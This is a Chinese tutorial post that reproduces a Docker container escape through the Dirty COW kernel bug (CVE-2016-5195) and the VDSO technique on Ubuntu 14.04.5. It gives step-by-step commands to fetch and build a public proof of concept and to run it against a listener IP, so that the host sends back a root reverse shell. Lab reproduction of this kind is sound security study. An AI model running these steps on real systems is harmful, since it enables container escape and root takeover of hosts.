1. 程式人生 > 實用技巧 >Docker逃逸--髒牛漏洞POC測試

Docker逃逸--髒牛漏洞POC測試

髒牛漏洞(CVE-2016-5195)與VDSO(虛擬動態共享物件)

一、漏洞描述

Dirty Cow(CVE-2016-5195)是Linux核心中的許可權提升漏洞,源於Linux核心的記憶體子系統在處理寫入時拷貝(copy-on-write, Cow)存在競爭條件(race condition),允許惡意使用者提權獲取其他只讀記憶體對映的寫訪問許可權。

競爭條件意為任務執行順序異常,可能導致應用崩潰或面臨攻擊者的程式碼執行威脅。利用該漏洞,攻擊者可在其目標系統內提升許可權,甚至獲得root許可權。VDSO就是Virtual Dynamic Shared Object(虛擬動態共享物件),即核心提供的虛擬.so。該.so檔案位於核心而非磁碟,程式啟動時,核心把包含某.so的記憶體頁對映入其記憶體空間,對應程式就可作為普通.so使用其中的函式。

在容器中利用VDSO記憶體空間中的“clock_gettime() ”函式可對髒牛漏洞發起攻擊,令系統崩潰並獲得root許可權的shell,且瀏覽容器之外主機上的檔案。

二、漏洞利用條件

docker與宿主機共享核心,如果要觸發這個漏洞,需要宿主機存在dirtyCow漏洞的宿主機。這裡,我們使用ubuntu-14.04.5來複現。

Ubuntu系統映象下載:http://old-releases.ubuntu.com/releases/14.04.0/ubuntu-14.04.5-server-amd64.iso

核心版本:

bypass@ubuntu-docker:/$ uname -a
Linux ubuntu
-docker 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

三、漏洞測試復現

1、測試環境下載

git clone https://github.com/gebl/dirtycow-docker-vdso.git

2、執行測試容器

cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash

3、進入容器,編譯POC並執行

cd /dirtycow-vdso/
make
./0xdeadbeef
192.168.172.136:1234

4、在192.168.172.136監聽本地埠,成功接收到宿主機反彈的shell。

參考文章:

https://github.com/gebl/dirtycow-docker-vdso/blob/main/Dockerfile